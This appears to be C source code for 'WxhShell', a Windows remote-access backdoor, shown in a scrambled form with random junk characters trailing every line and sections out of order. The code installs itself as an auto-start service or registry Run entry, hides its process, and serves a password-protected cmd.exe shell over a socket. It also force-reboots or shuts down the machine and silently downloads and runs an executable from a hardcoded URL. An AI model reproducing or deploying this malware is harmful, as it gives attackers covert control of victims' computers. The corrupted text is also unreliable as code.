    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kal8k-$#  
    if(Boot(SHUTDOWN)) lz*PNT{E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P]TT  
    else { F>M$|Sc2  
    closesocket(wsh); X XF9oy8  
    ExitThread(0); 4EpzCaEZ  
    } ! $iR:ji  
    break; Q\oUZnD$=  
    } 5A)w.i&V  
  // 获取shell ,VZ&Gc  
  case 's': { i`Yf|^;@2>  
    CmdShell(wsh); q5 A+%#  
    closesocket(wsh); e%P;Jj476  
    ExitThread(0); 7^; OjO@8  
    break; d#*5U9\z  
  } Z^|C~lp;n  
  // 退出 fH.W kAE1  
  case 'x': { miKi$jC}vq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AWi87q  
    CloseIt(wsh); R',w~1RV'  
    break; zbR.Lb  
    } d3$<|mG$  
  // 离开 E,|n'  
  case 'q': { <Z;7=k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &SM$oy#?  
    closesocket(wsh); ^M9oTNk2  
    WSACleanup(); P=@lkF!\#  
    exit(1); w(U/(C7R  
    break; D 6]$P%t9  
        } D7. P  
  } K4yYNlY  
  } =gn}_sKNE  
+E:(-$"R  
  // 提示信息 vraU&ze\1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q+z\Y?  
} ;!}SgzSH}  
  } b>z.d-  
s`J=:>9*  
  return; e^GW[lT  
} {|gJC>f@  
9H}&Ri%  
// shell模块句柄 Z)A+ wM  
int CmdShell(SOCKET sock) V[M#qZS  
{ acZHb[w  
STARTUPINFO si; l!  y _P  
ZeroMemory(&si,sizeof(si)); D5>~'N3b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (0Qq rNs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *\WI!%  
PROCESS_INFORMATION ProcessInfo; Zz-;jkX)  
char cmdline[]="cmd"; \k=Qq(=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wUeOD.;#F  
  return 0; |BkY"F7m9  
} {t:ND  
O)|4>J*B  
// 自身启动模式 Ltw7b  
int StartFromService(void) <`3(i\-X  
{ EAB+kY  
typedef struct K)+l6Q  
{ ?GarD3#A  
  DWORD ExitStatus; QL2y,?Mz7  
  DWORD PebBaseAddress; B|=maz:_  
  DWORD AffinityMask; aTm.10{^  
  DWORD BasePriority; weV#%6=5\  
  ULONG UniqueProcessId; pCUOeQL(  
  ULONG InheritedFromUniqueProcessId; zrO|L|F&P  
}   PROCESS_BASIC_INFORMATION; ss{=::#  
uq%3;#[0  
PROCNTQSIP NtQueryInformationProcess; Nj_sU0Dt  
C<t>m_t9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m#$za7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $0SZlq>En  
-ikuj  
  HANDLE             hProcess; j~H`*R=ld#  
  PROCESS_BASIC_INFORMATION pbi; `_A?a_[*  
PJ@,01  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *UoHzaIqz  
  if(NULL == hInst ) return 0; ^6oqq[$  
s~ZFVi-i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); . b`P!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +fQL~ 0tA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sc$wR{W<:  
DB%AO:8  
  if (!NtQueryInformationProcess) return 0;  KdJx#Lc  
Qf>Pb$c$U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V8$bPVps  
  if(!hProcess) return 0; u2B W]T]  
,M&0<k\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ti|++oC/&  
h&M RQno  
  CloseHandle(hProcess); w00\1'-Kz  
F` 5/9?;|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); llfiNEK5;  
if(hProcess==NULL) return 0; Z_ gV Ya  
(+8xUc(w  
HMODULE hMod; $A@3ogoS&  
char procName[255]; bM0[V5:jB  
unsigned long cbNeeded; NND=Z xl  
!K3cf]2UD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0o$HC86w  
wv.Ul rpx.  
  CloseHandle(hProcess); s]vJUC,s  
Sje0:;;|  
if(strstr(procName,"services")) return 1; // 以服务启动 HL}~W}!j  
% rY8  
  return 0; // 注册表启动 [F)/mN  
} "E|r3cN  
e_k _ ty`  
// 主模块 lhA s!\F  
int StartWxhshell(LPSTR lpCmdLine) L sDzV)  
{ )g:,_1s)|  
  SOCKET wsl; >_aio4j}r  
BOOL val=TRUE; "]s|D@^4#b  
  int port=0; {/A)t1nL  
  struct sockaddr_in door; a!y,!EB+Qu  
/D$+b9FR<  
  if(wscfg.ws_autoins) Install(); T[XP\!z]B!  
\_Kt6=  
port=atoi(lpCmdLine); ?hJsN  
bjPbl2K  
if(port<=0) port=wscfg.ws_port; -V u/TT0  
(d'j'U:C  
  WSADATA data; a5}44/%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9^QYuf3O  
wz*A<iU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4%fN\f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y{`(|,[  
  door.sin_family = AF_INET; @>Ghfh>~D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &:;;u\  
  door.sin_port = htons(port); f;Bfh3  
.eabtGO,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R=amKLD?  
closesocket(wsl); 4-+ozC{  
return 1; #A/]Vs$  
} t&9as}  
RCh$j&Tn  
  if(listen(wsl,2) == INVALID_SOCKET) { =,d* {m~A  
closesocket(wsl); Y%)h)El  
return 1; @nx}6?p\,  
} 9Z0CF~Y5  
  Wxhshell(wsl); 9]L!.  
  WSACleanup(); :q>oD-b$}  
ikY]8BCc  
return 0; iRUR4Zs  
bwSRJFqb  
} 5hJYy`h~  
@4_rxu&  
// 以NT服务方式启动 yC'hwoQ`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V%BJNJ  
{ 5fegWCJ  
DWORD   status = 0; -4vHK!l  
  DWORD   specificError = 0xfffffff; YBtq0c  
f OM^V{)T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2E3?0DL",  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U1>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O2q=gYX>\  
  serviceStatus.dwWin32ExitCode     = 0; \]U<hub  
  serviceStatus.dwServiceSpecificExitCode = 0; 5 dfe@$  
  serviceStatus.dwCheckPoint       = 0; /lr1hW~Dbk  
  serviceStatus.dwWaitHint       = 0; m@G<ZCMZ  
FDVI>HK @  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E/~"j  
  if (hServiceStatusHandle==0) return; !dyxE'T2  
M<A;IOpR+  
status = GetLastError(); `J>E9p<  
  if (status!=NO_ERROR) '&-5CpDUs  
{ #QTfT&m+G}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AaVI%$  
    serviceStatus.dwCheckPoint       = 0; obAs<nk  
    serviceStatus.dwWaitHint       = 0; Y ]~ HAv '  
    serviceStatus.dwWin32ExitCode     = status; ]27>a"p59Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; FJa[ToZ4+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U] V3DDN  
    return; @V* ju  
  } ~aJW"\{  
YY#s=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; - E8ntY-  
  serviceStatus.dwCheckPoint       = 0; 5\akI\  
  serviceStatus.dwWaitHint       = 0; r~$}G-g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7P/?wv9+n*  
} [$( sUc(%  
4_Qa=T8  
// 处理NT服务事件,比如:启动、停止 y+4?U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }BI~am_  
{ ,DQGv_  
switch(fdwControl) L$Hx?^3  
{ z(g%ue\  
case SERVICE_CONTROL_STOP: ? G$Om  
  serviceStatus.dwWin32ExitCode = 0; SY%A"bC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Io$w|~x  
  serviceStatus.dwCheckPoint   = 0; ku/\16E/k  
  serviceStatus.dwWaitHint     = 0; (dzH3_U  
  { J3/\<=Qh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [x;(cISK1  
  } Ku<b0<`  
  return; gYTyH.  
case SERVICE_CONTROL_PAUSE: O.@g/05C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,wtFs!8  
  break; 5^/,aI  
case SERVICE_CONTROL_CONTINUE: E4sn[DO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J)9 AnGWe  
  break; "/ tUA\=j  
case SERVICE_CONTROL_INTERROGATE: wGEWr2$  
  break; #4P8Rzl$/  
}; > I$B=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dT5J-70Fl  
} On#;)35M  
L;/9L[s,  
// 标准应用程序主函数 LP.HS'M~u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sm$p\ORa  
{ h5L=M^z!>  
!]$V9F{K  
// 获取操作系统版本 WGH%92  
OsIsNt=GetOsVer(); U7^7/s/.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .:w#&yM [U  
f ,tW_g  
  // 从命令行安装 \hs/D+MCk  
  if(strpbrk(lpCmdLine,"iI")) Install(); <Z{vC  
:PgF  
  // 下载执行文件 7JbY}@  
if(wscfg.ws_downexe) { =nJ{$%L\x,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <+V-k|  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?qju DD  
} d{er |$E?  
B4`2.yRis  
if(!OsIsNt) { qBT_! )h   
// 如果时win9x,隐藏进程并且设置为注册表启动 &MCy.(jN  
HideProc(); FoE|Js  
StartWxhshell(lpCmdLine); xDR9_  
} 60xa?8<cg  
else K@B" ]6  
  if(StartFromService()) <^d!Vzr]  
  // 以服务方式启动 `_|aeoK_  
  StartServiceCtrlDispatcher(DispatchTable); L ;6b+I  
else hS4.3]ei  
  // 普通方式启动 dZPW2yf  
  StartWxhshell(lpCmdLine); x>}B#  
)VNM/o%Q  
return 0; lc]V\ 'e  
} z)}3**3'y  
j7K5SS_]  
k/%#>  
59V#FWe-  
=========================================== js~tKUvg  
e"]"F{Q  
YPu9Q  
ODm&&W#*  
Sa L"!uAk  
+}P%HH]E/p  
" <"<Mbbp  
}*NF&PD5RU  
#include <stdio.h> *P`v^&  
#include <string.h> xdPcsox~  
#include <windows.h> YQ; cJ$  
#include <winsock2.h> N1%p"(  
#include <winsvc.h> f0vJm  
#include <urlmon.h> WP}ixcq#  
C@1CanL@3  
#pragma comment (lib, "Ws2_32.lib") Bp :~bHf  
#pragma comment (lib, "urlmon.lib") =-_)$GOI'  
<0#^7Z  
#define MAX_USER   100 // 最大客户端连接数 <j;]!qFR  
#define BUF_SOCK   200 // sock buffer ',GV6kt_k  
#define KEY_BUFF   255 // 输入 buffer o7.e'1@  
$*k)|4  
#define REBOOT     0   // 重启 ^ oYPyk`9  
#define SHUTDOWN   1   // 关机 N#4N?BBP"  
]nQ+nH  
#define DEF_PORT   5000 // 监听端口 I"-dTa  
#<4--$Xo  
#define REG_LEN     16   // 注册表键长度 ylu2R0] (  
#define SVC_LEN     80   // NT服务名长度 @dl8(ILk'  
-OrR $w|e  
// 从dll定义API %`e`g ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E!zX)|Z<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yMb|I~k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e&0K;yU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?OE#q$g  
pV7N byb4  
// wxhshell配置信息 {Bh("wg$Lk  
struct WSCFG { Ea-bC:>  
  int ws_port;         // 监听端口 4jQ'+ 2it  
  char ws_passstr[REG_LEN]; // 口令 b^x07lO  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y&K <{\vE  
  char ws_regname[REG_LEN]; // 注册表键名 @xS]!1-  
  char ws_svcname[REG_LEN]; // 服务名 9t?L\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vo\H<_=G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >)NQH9'1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eX"''PA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eJHp6)2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?Nf 5w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  Hy]  
zzJja/mp  
}; vg)Z]F=t(  
:=*}htP4C  
// default Wxhshell configuration KVN"XqE4  
struct WSCFG wscfg={DEF_PORT, [[WF0q  
    "xuhuanlingzhe", !;v.>.lw  
    1, OUI6 ax\[  
    "Wxhshell", g\Ak;03n  
    "Wxhshell", 9C/MRmv`  
            "WxhShell Service", v>H=,.`0\  
    "Wrsky Windows CmdShell Service", 6V1:qp/6  
    "Please Input Your Password: ", $e }n  
  1, l'6d4 DZ  
  "http://www.wrsky.com/wxhshell.exe", !77NG4B  
  "Wxhshell.exe" )MSZ2)(  
    }; @E%DP9.I  
L[y Pjw:0  
// 消息定义模块 )#C mQXgG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RF?DtNuq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L&kr{7q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CE ~@}`  
char *msg_ws_ext="\n\rExit."; _okWQvdH  
char *msg_ws_end="\n\rQuit."; (?>cn_m  
char *msg_ws_boot="\n\rReboot..."; KxIyc7.  
char *msg_ws_poff="\n\rShutdown..."; Y.sz|u 1  
char *msg_ws_down="\n\rSave to "; ~}'F887f  
SJk>Jt=  
char *msg_ws_err="\n\rErr!"; A_R!uRD8-  
char *msg_ws_ok="\n\rOK!"; ys8Q.oBv_`  
)&,{?$.  
char ExeFile[MAX_PATH]; Qs9OC9X1  
int nUser = 0; &eQJfc\a  
HANDLE handles[MAX_USER]; O("Uq../3  
int OsIsNt; .Q* 'r& n  
D."=k{r.  
SERVICE_STATUS       serviceStatus; %d2!\x%bG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BI/&dKM  
I4=Xb^Ux  
// 函数声明 =rFN1M/n{E  
int Install(void); =lp1Z>  
int Uninstall(void); eg<pa'Hw  
int DownloadFile(char *sURL, SOCKET wsh); Zb_apjg[4  
int Boot(int flag); =:=/Gz1  
void HideProc(void); ^zr^ N?a  
int GetOsVer(void); `VT>M@i/  
int Wxhshell(SOCKET wsl); |^a;77nE_^  
void TalkWithClient(void *cs); _mJG5(|  
int CmdShell(SOCKET sock); o6a0'vU><  
int StartFromService(void); !yJICjXj  
int StartWxhshell(LPSTR lpCmdLine); wRvb8F 0  
3@<zg1.9-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0N;%2=2_E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -SCM:j%h  
~F!,PM/  
// 数据结构和表定义 H:QhrL+7_  
SERVICE_TABLE_ENTRY DispatchTable[] = V '.a)6  
{ *if`/N-q(m  
{wscfg.ws_svcname, NTServiceMain}, C vDxq:x  
{NULL, NULL} 6RoAl$}'  
}; =qu(~]2(  
w7TJv4_  
// 自我安装 $B (kZ  
int Install(void) 33Az$GXFsq  
{ 2C=Q8ayvX  
  char svExeFile[MAX_PATH]; @'6"7g  
  HKEY key; /=:j9FF  
  strcpy(svExeFile,ExeFile); C! 9}  
ztll}  
// 如果是win9x系统,修改注册表设为自启动 5B4Ssrs5W~  
if(!OsIsNt) { p3(2?UO!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R2<s0l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9902+pW  
  RegCloseKey(key); 5's~>up&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l'[A? %L%{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pG3k   
  RegCloseKey(key); Cu;5RSr2Z  
  return 0; v,@F|c?_S  
    } ?-)I+EAnE  
  } Na{Y}0=^y  
} L2UsqVU  
else { 1q7tiMvV-  
ino:N5&;;  
// 如果是NT以上系统,安装为系统服务 xc @Ss[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #5} wuj%5  
if (schSCManager!=0) YJV%a  
{ .a'f|c6  
  SC_HANDLE schService = CreateService 7gF"=7{-  
  ( O+q/4  
  schSCManager, 88s/Q0l  
  wscfg.ws_svcname, 8' DW#%  
  wscfg.ws_svcdisp, [iP#VM-N  
  SERVICE_ALL_ACCESS, Of,2Q#oji  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aB~S?.l  
  SERVICE_AUTO_START, C1kYl0 zR[  
  SERVICE_ERROR_NORMAL, <ABX0U[*  
  svExeFile, Ifc]K?  
  NULL, saf&dd  
  NULL, 2,q}N q  
  NULL, \3f& 7wU  
  NULL, ]`g@UtD9`  
  NULL &ANP`=  
  ); )kXhtjOl|  
  if (schService!=0) dt@P>rel  
  { 2Os1C}m  
  CloseServiceHandle(schService); q?qC  
  CloseServiceHandle(schSCManager); H,unpZ(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I#F!N6;  
  strcat(svExeFile,wscfg.ws_svcname); w8S!%abl1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k <iTjI*N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i:]*P  
  RegCloseKey(key); /AY4M;}p  
  return 0; F,BOgWwP  
    } 'xY@x-o  
  } !E8X~DJ  
  CloseServiceHandle(schSCManager); w'MGA  
} V" \0Y0  
} *iBTI+"]  
a8k;(/  
return 1; ~}EMk3  
} \wcam`f  
{%lXYMyu  
// 自我卸载 W]M)Q}:Y  
int Uninstall(void) Mips.Bx  
{ D"(L5jR8m@  
  HKEY key; g[RI.&?  
#'D" 'B  
if(!OsIsNt) { eV:9y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C?v[Z]t  
  RegDeleteValue(key,wscfg.ws_regname); ZYU=\  
  RegCloseKey(key); `*", <  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6tHO!`}1  
  RegDeleteValue(key,wscfg.ws_regname); M5nWVK7c  
  RegCloseKey(key); v\16RD  
  return 0; 7w,FX.=;cv  
  } DI+]D~N  
} d@`M CchCB  
} JWvjWY2+P  
else { x3jb%`o#!  
%VYAd)gC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {"oxJ`z4  
if (schSCManager!=0) "Ve.cP,7(  
{ CYYkzcc^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `ps)0!L L`  
  if (schService!=0) u H/w\v_I  
  { Y}#h5\  
  if(DeleteService(schService)!=0) { z%MW!x  
  CloseServiceHandle(schService); r.3/F[.  
  CloseServiceHandle(schSCManager); NI#X @  
  return 0; NH$r Z7$  
  } \^ghdU  
  CloseServiceHandle(schService); Dd;Nz  
  } (?_S6H E  
  CloseServiceHandle(schSCManager); qmO6,T-|  
} @1*ohdHH  
} +fvaUV_-  
FZ!`B]]le,  
return 1; H 0+dV3  
} O+g3X5f+  
* #jsgj[  
// 从指定url下载文件 | N0Z-|  
int DownloadFile(char *sURL, SOCKET wsh) q0f3="  
{ ^O^l(e!3  
  HRESULT hr; lY|Jr{+Ln  
char seps[]= "/"; "Rn 3lj0  
char *token; |D, +P  
char *file; @d Jr/6Yx  
char myURL[MAX_PATH]; nJ~drG}TD  
char myFILE[MAX_PATH]; Ee`1F#c  
!x!07`+^u  
strcpy(myURL,sURL); Q+4Xs.#  
  token=strtok(myURL,seps); T,| 1g6  
  while(token!=NULL) X[f=h=|  
  { \j&^aAp r  
    file=token; UnI 48Y  
  token=strtok(NULL,seps); 7AYd!n&S  
  } 0-~\ W(  
X]\ \,  
GetCurrentDirectory(MAX_PATH,myFILE); :_!8 WB  
strcat(myFILE, "\\"); N<QXmgqx  
strcat(myFILE, file); c478P=g=5  
  send(wsh,myFILE,strlen(myFILE),0); Yjx|9_|Xn  
send(wsh,"...",3,0); v) vkn/:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h/~n\0,J/  
  if(hr==S_OK) N[kwO1  
return 0; iD<(b`S  
else 3p0LN'q]A  
return 1; %Gt .m  
J,Ks0M A  
} =[F<7pvE  
d&Ef"H  
// 系统电源模块 \ Y"Wu  
int Boot(int flag) 2WU@*%sk"  
{ R: l&2k@  
  HANDLE hToken; 6Cn+e.j@  
  TOKEN_PRIVILEGES tkp; BJ% eZ.  
! u:Weoz  
  if(OsIsNt) { qUly\b 47  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cJ54s}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #dM9pc jh  
    tkp.PrivilegeCount = 1; P2bZ65>3y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $@UN4B?y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lo[.&GD  
if(flag==REBOOT) { foQ#a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6`f2-f9%iq  
  return 0; ">#wOm+ +  
}  cReB~wk  
else { M bb x`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nm |!#(L  
  return 0; `ho1nY$)CE  
} O%FPS=  
  } S#+h$UVh  
  else { *4V=z#  
if(flag==REBOOT) { \hB5@e4i2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uDEvzk42  
  return 0; hZ.Z3`v70  
} L:FoSCN Y(  
else { 'nF2aD%A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vd8{c7g:n  
  return 0; 0}b tXh  
} ^<e.]F25M  
} XGl+S  
qHxqQ'ks;  
return 1; D:erBMKv,  
} xD6@Qk  
Rz.?i+  
// win9x进程隐藏模块 () j =5KDu  
void HideProc(void) )kP5u`v  
{ '_V2!?+RU+  
t^w"w`v\u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p\bDY  
  if ( hKernel != NULL ) |`cKD >  
  { %"P,1&\^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #FNcF>3>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lyGhdgWc  
    FreeLibrary(hKernel); JYTP 2  
  } Y./2Ely  
JfR %L q~  
return; m}X`> aD/  
} 1;{Rhu7* k  
l(02W  
// 获取操作系统版本 hRCed4qA  
int GetOsVer(void) /Z$&pqs!  
{ >/8yGBD  
  OSVERSIONINFO winfo; *NG+L)g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <WcR,d  
  GetVersionEx(&winfo); U-|NY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uXKERzg  
  return 1; Ry'= ke  
  else _ A=$oVe  
  return 0; IP(Vr7-v  
} sD=n95`v  
( vca&wI!  
// 客户端句柄模块 9T1ZL5  
int Wxhshell(SOCKET wsl) u,UmrR  
{ |]c8jG\h  
  SOCKET wsh; DK$s&zf  
  struct sockaddr_in client; $f zaPD4.  
  DWORD myID; f\jLqZY  
k3uit+ge }  
  while(nUser<MAX_USER) LbkF   
{ GSRVe/ [  
  int nSize=sizeof(client); !7kG!)40  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (_"*NY0  
  if(wsh==INVALID_SOCKET) return 1; T7#W0^tj  
07[_.i.l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o}$ EG  
if(handles[nUser]==0) #Jw1IcuH  
  closesocket(wsh); *" {lMZ +  
else C<P%CG&;  
  nUser++; 2Tagr1L  
  } }&[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i(NdGL#P  
fP. 6HF_p_  
  return 0; zR{W?_cV  
} vMm1Z5S/  
lGOgN!?i  
// 关闭 socket Vb= Mg  
void CloseIt(SOCKET wsh) Wh.?j>vB  
{ |b)Y#)C;  
closesocket(wsh); WUh$^5W  
nUser--; h"/< ?3{  
ExitThread(0); fe9LEM8j  
} [Ki0b^  
-&-Ma,M?  
// 客户端请求句柄 +>r/0b  
void TalkWithClient(void *cs) c\Q7"!e  
{ nuw70*ell  
W#hj 1  
  SOCKET wsh=(SOCKET)cs; =,UWX3`f  
  char pwd[SVC_LEN]; Y$?9Zkp>  
  char cmd[KEY_BUFF]; tQBRA/  
char chr[1]; , T8>}U(  
int i,j; 6e[VgN-s  
lw< c2 C  
  while (nUser < MAX_USER) { o*o/q],C9-  
GhIKvX_N  
if(wscfg.ws_passstr) { SgS~ {4Zx*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CW,Wx:Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3G(miP6  
  //ZeroMemory(pwd,KEY_BUFF); G{6;>8h  
      i=0; ~1>.A(,=z  
  while(i<SVC_LEN) { |v({-*7  
E(Z8  
  // 设置超时 n\^Tq<] a  
  fd_set FdRead; /N&CaH\;^$  
  struct timeval TimeOut; Kq;8=xP[  
  FD_ZERO(&FdRead); jbS\vyG  
  FD_SET(wsh,&FdRead); M)2VcDy  
  TimeOut.tv_sec=8; 5) pj]S!]-  
  TimeOut.tv_usec=0; A}3=561F?5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m>MB7,C;N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i}B2R$Z3  
3ZXQoC '  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U G~ba  
  pwd=chr[0]; 7G/1VeVjB  
  if(chr[0]==0xd || chr[0]==0xa) { H*$jc\ dC  
  pwd=0; "gDb1h)8  
  break; !& z(:d  
  } j,"@?Wt7  
  i++; USM4r!x  
    } V0P>YQq9s  
@Bf%s(Uj+  
  // 如果是非法用户,关闭 socket .O0 +H+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MP4z-4Y  
} /#m=*&!CB  
T^Ze3L]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z <##g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -T[lx\}  
i5CK*"$Q  
while(1) { ]]oI#*c  
aPm`^ q  
  ZeroMemory(cmd,KEY_BUFF); no9;<]4  
Ljx(\Cm  
      // 自动支持客户端 telnet标准   xT+zU}z  
  j=0; hKT  
  while(j<KEY_BUFF) { <c qbUL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L_wk~z  
  cmd[j]=chr[0]; P dhEQ}H  
  if(chr[0]==0xa || chr[0]==0xd) { :[hgxJu+  
  cmd[j]=0; ;3B1_vo9  
  break; ! 3 f?:M  
  } L>SjllY  
  j++; z6w3"9Um  
    } dAkgR~  
/Q2mMSK1h  
  // 下载文件 A8oo@z68n>  
  if(strstr(cmd,"http://")) { `m!j$,c.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /#VhkC _  
  if(DownloadFile(cmd,wsh)) %0,#ADCqOe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Pyb Z)5u  
  else [g:$K5\64  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $0lD>yu  
  }  f-E( "o  
  else { 'F$l{iR  
TTt#a6eJ  
